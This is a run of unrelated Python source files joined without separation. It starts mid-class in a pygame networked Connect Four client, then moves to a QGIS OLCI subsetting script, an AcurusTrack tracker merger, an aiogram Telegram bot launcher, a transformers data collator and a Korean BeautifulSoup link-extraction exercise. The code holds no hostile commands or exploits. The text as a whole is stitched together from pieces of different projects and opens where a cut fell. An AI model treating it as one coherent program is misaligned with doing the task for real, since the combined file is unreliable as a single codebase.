            y_num_squares = 0.75

            x = int(((self.cols / 2) - x_num_squares / 2) * self.square_size) + leftmost
            width = int(self.square_size * x_num_squares)
            height = int(self.square_size * y_num_squares)
            y = int(self.main_menu.bottom - height - 4)

            self.start_button = Button(position=(x, y), size=(width, height), btn_color='blue',
                                       callback=self.handle_start, is_active=True, text='Start Game', txt_color='black',
                                       font=self.font)

        self.start_button.draw(self.main_display)

    def draw_circle(self, color: str, center: utils.Couple, radius: Optional[int] = None):
        """
        Draw a single circle on the screen and returns it.

            Parameters:
                color (str):    The name of the color to use.
                center (list):  The X and Y coordinates of the center of the circle.
                radius (int):   The radius to use, default None will use the default radius.

            Returns:
                circle (pygame.Rect): The rectangle boundaries of the circle that was drawn.
        """
        if not isinstance(center, (tuple, list)):
            return

        if not radius:
            radius = self.radius

        color_rgb = utils.get_color(color)
        circle = pygame.draw.circle(self.main_display, color_rgb, center, radius)

        pygame.draw.circle(self.main_display, utils.get_color('black'), center, radius, 1)

        return circle

    def draw_moving_piece(self, mouse_x: int) -> None:
        """
        Drawing the moving piece on top of the board.

            Parameters:
                mouse_x (int): The X coordinate of the mouse.
        """
        self.clear_top(entire=False)
        #   get the column index of the mouse
        col = self.calc_col_by_mouse(mouse_x)
        if not self.cols > col >= 0:
            return
        #   select the user color or an invalid location color based on the board state
        color_to_use = self.get_turn_color() if utils.is_valid_location(col, self.board) else 'gray'
        # calculate the x axis of the circle and draw
        cols_offset = self.square_size * (self.cols // 2)
        if self.cols % 2 != 0:
            cols_offset += 0.5 * self.square_size
        left_offset = int((self.main_display.get_rect().width // 2) - cols_offset)

        circle_x = int(col * self.square_size + self.square_size / 2)
        self.draw_circle(color_to_use, (circle_x + left_offset, int(self.square_size * self.options_rows - self.radius)))

    def clear_top(self, entire=True) -> None:
        """
        Clears the top row above the main board with a black rectangle.

            Parameters:
                entire (bool): Whether to clear the entire top row or just the part when the circle is moving.
        """
        num_rows = self.options_rows if entire else 1
        y = 0 if entire else self.square_size * (self.options_rows - 1)
        pygame.draw.rect(self.main_display, utils.get_color('black'), (0, y, self.width, self.square_size * num_rows))
        self.draw_scores()

    def draw_game_over(self, is_win: bool = True) -> None:
        """
        Add a title to the top of the screen based on the winner, or tie, and draw the reset button.

            Parameters:
                is_win (bool): Whether it's a win or a tie, default True.
        """
        try:
            if is_win:
                self.wins[self.turn - 1] += 1
                pygame.mixer.music.load(os.path.join('assets/win.wav'))
            else:
                pygame.mixer.music.load(os.path.join('assets/tie.wav'))
            pygame.mixer.music.play()
        except Exception as e:
            self.logger.error('error playing sound: {}'.format(str(e)))

        self.clear_top()

        self.state = Actions.WIN if is_win else Actions.TIE

        if self.state == Actions.WIN:
            self.draw_text_top('Client({}) {} won!'.format(self.id, self.get_turn_color()))
        else:
            self.draw_text_top("It's a tie!")

        player1_score, player2_score = self.wins[0], self.wins[1]
        num_format = '{:' + str(max(len(str(player1_score)), len(str(player2_score)))) + 'd}'
        score_format = num_format.format(player1_score) + ':' + num_format.format(player2_score)
        self.logger.debug('game over, state={}, scores(yellow:red)=({})'.format(self.state.value, score_format))

    def create_undo_button(self) -> None:
        """
        Create the undo button with its position, size and callback.
        """
        #   define the span in each axis
        x_num_squares = 0.5
        y_num_squares = 0.5

        #   calculates the X and Y coordinates based on the size of the rectangles of the board
        center_x = self.width // 2
        leftmost = center_x - (self.square_size * (self.cols // 2))
        if self.cols % 2 != 0:
            leftmost -= 0.5 * self.square_size
        x = leftmost
        y = 0
        width = int(self.square_size * x_num_squares)
        height = int(self.square_size * y_num_squares)
        color_to_use = self.get_other_turn_color()

        self.undo_button = Button(position=(x, y), size=(width, height), btn_color=color_to_use,
                                  callback=self.handle_undo, is_active=False, img_path='assets/undo.png')

    def create_reset_button(self) -> None:
        """
        Create the reset button with its position, size and callback.
        """
        #   define the span in each axis
        x_num_squares = 1.5
        y_num_squares = 0.75

        #   calculates the X and Y coordinates based on the size of the rectangles of the board
        center_x = self.width // 2
        leftmost = center_x - (self.square_size * (self.cols // 2))
        if self.cols % 2 != 0:
            leftmost -= 0.5 * self.square_size
        x = int((((self.cols / 2) - x_num_squares / 2) * self.square_size) + leftmost)
        y = int((((self.rows / 2) - y_num_squares / 2) * self.square_size) + self.square_size * self.options_rows)
        width = int(self.square_size * x_num_squares)
        height = int(self.square_size * y_num_squares)

        self.reset_button = Button(position=(x, y), size=(width, height), btn_color='gray', callback=self.handle_reset,
                                   is_active=False,
                                   text='Reset', txt_color='black', font=self.font)

    def handle_reset(self) -> None:
        """
        Reset the state of the game.
        """
        if self.state == Actions.WIN or self.state == Actions.TIE or self.state == Actions.UNKNOWN:
            #   define the main board state object
            self.board = np.zeros((self.rows, self.cols), dtype=np.int8)

            self.undo_counts = [0, 0]

            self.origin = Originator()
            self.caretaker = CareTaker(self.origin)

            self.origin.set_state(self.board)
            self.caretaker.do()

            self.client_socket.send(bytes(str(Actions.RESET.value), 'utf8'))

        if self.state == Actions.WIN or self.state == Actions.TIE:
            self.logger.debug('reset button pressed')
            self.state = Actions.READY

        if self.state == Actions.UNKNOWN:
            self.state = Actions.PRE_GAME

    def handle_start(self) -> None:
        """
        Handle the start button.
        """
        #   send an ready event to the server to notify the client done its setup
        self.state = Actions.READY
        self.client_socket.send(bytes(str(Actions.READY.value), 'utf8'))
        self.logger.debug('sent ready event')
        self.start_button = None

    def handle_main_menu(self, event: pygame.event) -> bool:
        """
        Handle the main menu functionality when it has been pressed.

            Parameters:
                event (pygame.Event): The event that occurred.

            Returns:
                pressed (bool): True if the button was pressed, False otherwise.
        """
        if event.type == pygame.MOUSEBUTTONDOWN:
            if self.player1_circle.collidepoint(event.pos):
                self.player1_color = get_next_color(self.player1_color, self.player2_color)
                return True

            elif self.player2_circle.collidepoint(event.pos):
                self.player2_color = get_next_color(self.player2_color, self.player1_color)
                return True

            elif self.player1_text.collidepoint(event.pos) or self.player2_text.collidepoint(event.pos):
                self.change_turn()
                return True

        return False

    def handle_undo(self) -> None:
        """
        Undo the last move.
        """
        self.logger.debug('undo button pressed')
        my_turn = 0 if self.turn == 2 else 1
        if self.undo_counts[my_turn] < self.max_undo:
            self.client_socket.send(bytes(str(Actions.UNDO.value), 'utf8'))
            if self.caretaker.undo():
                self.board = self.origin.get_state()
                self.undo_counts[my_turn] += 1
                self.change_turn()

    def change_turn(self) -> None:
        """
        Change the turn between the players
        """
        self.turn = 1 if self.turn == 2 else 2

    def run_game(self) -> None:
        """
        The main function to communicate with the server and maintain the state of the game.
        """
        action = Actions.UNKNOWN
        self.state = Actions.PRE_GAME
        time.sleep(1)

        should_draw_board = False
        self.reset_button.set_active(False)
        self.undo_button.set_active(False)

        while True:
            #   if received an exit event
            is_exit = utils.wait_for_data(self.client_socket, 0.01)
            if is_exit and Actions.EXIT.is_equals(is_exit):
                self.logger.debug('received exit event from server')
                self.exit()

            #   iterate over the pygame events
            for event in pygame.event.get():
                if event.type == pygame.VIDEORESIZE:
                    w = self.min_width if event.w < self.min_width else event.w
                    h = self.min_height if event.h < self.min_height else event.h
                    self.width, self.height = w, h
                    prev_undo_active = self.undo_button.is_active
                    self.create_gui()
                    self.draw_scores()
                    self.undo_button.set_active(prev_undo_active)
                    self.undo_button.draw(self.main_display)

                #   if exit event
                if event.type == pygame.QUIT:
                    self.logger.debug('pygame exit event')
                    self.exit(should_send=True)

                if self.state == Actions.PRE_GAME:
                    self.draw_main_menu()
                    if self.start_button.handle_event(event):
                        should_draw_board = True
                        self.draw_scores()
                        self.draw_moving_piece(event.pos[0])
                        continue
                    if self.handle_main_menu(event):
                        continue

                if self.state == Actions.READY:
                    if self.undo_button.handle_event(event):
                        should_draw_board = True
                        self.undo_button.set_active(False)
                        self.clear_top()
                        self.draw_moving_piece(event.pos[0])
                        self.draw_undo()
                        continue

                if self.state == Actions.WIN or self.state == Actions.TIE:
                    if self.reset_button.handle_event(event):
                        should_draw_board = True
                        self.clear_top()
                        self.reset_button.set_active(False)
                        continue

                #   if a mouse click event
                if event.type == pygame.MOUSEBUTTONUP:
                    self.undo_button.set_active(False)
                    self.undo_button.button_color = self.get_turn_color()
                    if self.state == Actions.READY:
                        self.logger.debug('mouse button up event')

                        #   get x coordinate of the mouse to calculate the board col
                        col = self.calc_col_by_mouse(event.pos[0])

                        #   send player id and col to add
                        self.client_socket.send(bytes(str(self.turn), 'utf8'))
                        self.client_socket.send(bytes(str(col), 'utf8'))
                        self.logger.debug('sent turn={}, col={}'.format(self.turn, col))

                        action = utils.wait_for_data(self.client_socket)
                        self.logger.debug('received action={}'.format(self.id, Actions(int(action))))

                        if Actions.EXIT.is_equals(action):
                            self.logger.debug('got exit event from server')
                            self.exit()

                        #   if action is to add a piece
                        if Actions.ADD_PIECE.is_equals(action):
                            self.board = utils.add_piece(self.board, col, self.turn)
                            should_draw_board = True

                            self.origin.set_state(self.board)
                            self.caretaker.do()

                            #   get an win, tie or continue action
                            action = utils.wait_for_data(self.client_socket)
                            self.logger.debug('received action={}'.format(Actions(int(action))))

                            if Actions.EXIT.is_equals(action):
                                self.logger.debug('got exit event from server')
                                self.exit()
                            elif Actions.WIN.is_equals(action) or Actions.TIE.is_equals(action):
                                self.draw_game_over(is_win=Actions.WIN.is_equals(action))
                            elif Actions.CONTINUE.is_equals(action):
                                self.logger.debug('current turn({})'.format(self.turn))
                                if self.undo_counts[self.turn - 1] < self.max_undo:
                                    self.undo_button.set_active(True)
                                self.change_turn()

                #   if the mouse hovering over the board, draw the top moving circle
                if event.type == pygame.MOUSEMOTION or event.type == pygame.MOUSEBUTTONUP:
                    if self.state == Actions.READY:
                        self.draw_moving_piece(event.pos[0])

                #   if the mouse is out of the window, clear the top row with black rectangle
                if event.type == pygame.WINDOWLEAVE and self.state == Actions.READY:
                    self.clear_top(entire=False)

            if should_draw_board:
                self.draw_board()
                should_draw_board = False

            if self.state == Actions.READY:
                self.draw_undo()

            if self.state == Actions.WIN or self.state == Actions.TIE:
                self.reset_button.set_active(True)

            self.undo_button.draw(self.main_display)
            self.reset_button.draw(self.main_display)

            # update the main display
            pygame.display.update()


import os
import glob

import tempfile
from qgis.processing import alg
from qgis import processing
from qgis.core import *
from PyQt5.QtCore import *

@alg(
    name="pg04waterqualitparameters00olcisubsetting",
    label=alg.tr("PG04_WaterQualityParameters_00_OLCI_Subsetting"),
    group="bc",
    group_label=alg.tr("BC"),
)
@alg.input(
    type=alg.BOOL,
    name="dontsubset",
    label="Don't subset products - In this case no shapefile is needed",
    default=False,
)
@alg.input(type=alg.FILE, name="Input_vector", label="Input vector", optional=True)
@alg.output(type=alg.FOLDER, name="Output_folder", label="Output_folder")
def pg04waterqualitparameters00olcisubsetting(
    instance, parameters, context, feedback, inputs
):
    """
    pg04waterqualitparameters00olcisubsetting
    """
    tempfolder = "wq_scripts_"
    feedback.pushConsoleInfo(os.path.realpath(__file__))
    Input_vector1 = instance.parameterAsVectorLayer(parameters, "Input_vector", context)
    dontsubset = instance.parameterAsBool(parameters, "dontsubset", context)
    Input_vector = instance.parameterAsString(parameters, "Input_vector", context)

    def folder_create(tempfolder):
        try:
            tempdir = glob.glob(os.path.join(tempfile.gettempdir(), tempfolder + "*"))[
                0
            ]
            return tempdir
        except:
            feedback.pushConsoleInfo(
                "Temporary folder:"
                + tempfolder
                + " does not exist and will be created."
            )
            tempfile.mkdtemp(prefix=tempfolder)
            tempdir = glob.glob(os.path.join(tempfile.gettempdir(), tempfolder + "*"))[
                0
            ]
            return tempdir

    def folder_check(tempfolder):
        try:
            tempdir = glob.glob(os.path.join(tempfile.gettempdir(), tempfolder + "*"))[
                0
            ]
            return False
        except IndexError:
            feedback.pushConsoleInfo(
                "ERROR: Temporary folder:"
                + tempfolder
                + " cloud not be created. Check for administration rights to create folder."
            )
            return True

    def create_parameterfile(tempdir, dontsubset):
        with open(tempdir + "WaterQualityParametersOLCI00.txt", "w") as text_file:
            text_file.write("dontsubset=" + str(dontsubset).lower() + "\n")

    def create_subset_parameterfile(tempdir, dontsubset, wkt_string):
        with open(tempdir + "WaterQualityParametersOLCI00.txt", "w") as text_file:
            text_file.write("wkt=" + str(wkt_string) + "\n")
            text_file.write("dontsubset=" + str(dontsubset).lower() + "\n")

    def get_wkt(Input_vector):
        inlayer = Input_vector1
        for feat in inlayer.getFeatures():
            geom = feat.geometry()
            feedback.setProgressText(geom.asWkt().upper())
            wkt_string = geom.asWkt().upper()
            print(wkt_string)
        return wkt_string

    def execution(tempfolder, dontsubset):
        tempdir = folder_create(tempfolder) + "/"
        if folder_check(tempfolder):
            return
        else:
            tempdir = (
                glob.glob(os.path.join(tempfile.gettempdir(), tempfolder + "*"))[0]
                + "/"
            )
            create_parameterfile(tempdir, dontsubset)

    def subset_execution(tempfolder, dontsubset, Input_vector):
        tempdir = folder_create(tempfolder) + "/"
        if folder_check(tempfolder):
            return
        else:
            tempdir = (
                glob.glob(os.path.join(tempfile.gettempdir(), tempfolder + "*"))[0]
                + "/"
            )
            wkt_string = get_wkt(Input_vector)
            create_subset_parameterfile(tempdir, dontsubset, wkt_string)

    if dontsubset:
        execution(tempfolder, dontsubset)
    else:
        subset_execution(tempfolder, dontsubset, Input_vector)
    Output_folder = glob.glob(os.path.join(tempfile.gettempdir(), tempfolder + "*"))[0]
    return {"Output_folder": Output_folder}


"""
 This file is part of AcurusTrack.

    AcurusTrack is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    AcurusTrack is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with AcurusTrack.  If not, see <https://www.gnu.org/licenses/>.
"""

import logging

import numpy as np

import utils.utils_ as util
import utils.utils_pandas_df as pdu
from config import AcceptanceParams
from track.tracker import AbstractTracker

class TrackerMerger(AbstractTracker):
    def __init__(self, data_processing, meta_partition, files_work):
        super(TrackerMerger, self).__init__(data_processing, meta_partition, files_work)
        self.moves_dict = {3: self.merge_move}
        self.number_of_moves = 1
        self.n_mc = util.iterations_number_dependent_on_track(len(self.data_processing.pairs_to_consider),
                                                              number_of_moves=self.number_of_moves)

    def choose_move(self):
        self.chosen_move = 3

    def propose(self):
        self.moves_dict[self.chosen_move]()

    def internal_loop(self):
        """ Algorithm loop inside the window """
        best_ratio = -np.inf
        while self.iteration < self.n_mc:
            self.iteration += 1
            self.complete_iter_number += 1
            self.accepted = False
            self.propose()  # make some movement
            logging.debug('change track {} '.format(self.change_track))
            if self.returned_state:  # no ability to make chosen move
                self.returned_state = False
                continue
            if self.proposed_partition is None:  # no ability to make chosen move
                continue
            self.acc_obj.propose(self.proposed_partition[['frame_no', 'id']].values,
                                 pdu.get_particular_states(self.proposed_partition,
                                                           self.change_track[
                                                               'new'])
                                 )
            accepted_count = self.acc_obj.analyse_acceptance(self.change_track)
            if accepted_count is None:
                continue
            ratio = max(list(self.acc_obj.ratio.values()))
            if ratio >= best_ratio:
                best_ratio = ratio
            if accepted_count >= AcceptanceParams.number_of_acc_for_acc:
                self.acc_obj.accepted_(change_track=self.change_track)
                self.acc_update()
                self.iteration = 0


from asyncio import run
from aiogram import Dispatcher, Bot
from config import config
from handlers import client_cmds, client_visit, client_consultation, client_any
from aiogram.types import BotCommand
from aiogram.utils.chat_action import ChatActionMiddleware
import logging

async def set_commands(bot: Bot):
    return await bot.set_my_commands(
        commands=[
            BotCommand(command='start', description='Главное меню'),
            BotCommand(command='help', description='Помощь'),
            BotCommand(command='cancel', description='Отмена действия')
        ]
    )

async def main():
    logging.basicConfig(level=logging.INFO)
    bot = Bot(config.bot_token.get_secret_value(), parse_mode='Markdown')
    dp = Dispatcher()
    for file in [client_cmds, client_visit, client_consultation, client_any]:
        dp.include_router(file.router)

    dp.message.middleware(ChatActionMiddleware())
    await set_commands(bot)

    await dp.start_polling(bot)

if __name__ == '__main__':
    run(main())


from transformers import DataCollatorForLanguageModeling
from dataclasses import dataclass
from typing import Any, Callable, Dict, List, NewType, Optional, Tuple, Union
import torch

@dataclass
class DataCollator(DataCollatorForLanguageModeling):
    def __init__(self,
        tokenizer,
        max_length,
        label_pad_token_id
    ):
        super(DataCollator, self).__init__(
            tokenizer,
            mlm=False
            )
        self.max_length = max_length
        self.label_pad_token_id = label_pad_token_id

    def torch_call(self, examples: List[Union[List[int], Any, Dict[str, Any]]]) -> Dict[str, Any]:
        response_token_id = self.tokenizer.encode(" query")[-1]
        #print(response_token_id)
        batch = {"input_ids": torch.tensor([example["input_ids"][-self.max_length:] for example in examples]),
                 "attention_mask": torch.tensor([example["attention_mask"][-self.max_length:] for example in examples])}
        #print(self.tokenizer.batch_decode(batch['input_ids'][:1], skip_special_tokens=True))
        labels = torch.clone(batch["input_ids"])
        batch["labels"] = labels

        return batch


# ----------------------------------------------------
# AI교육원의 페이지 링크를 출력하세요.
# ----------------------------------------------------

from bs4 import BeautifulSoup

# 1. url 대신 html 파일을 불러옵니다.

html = open("bs4_html.html", encoding="utf-8")

# 2. Soup 객체를 생성합니다.
soup = BeautifulSoup(html, "html.parser")

# 3. a태그를 불러오고 두번째 링크를 찾습니다.
a = soup.select_one("div#hyperlink a:nth-child(2)")
print(a)

# 4. ai교육원의 링크를 불러옵니다.
link = a.attrs["href"]
print(link)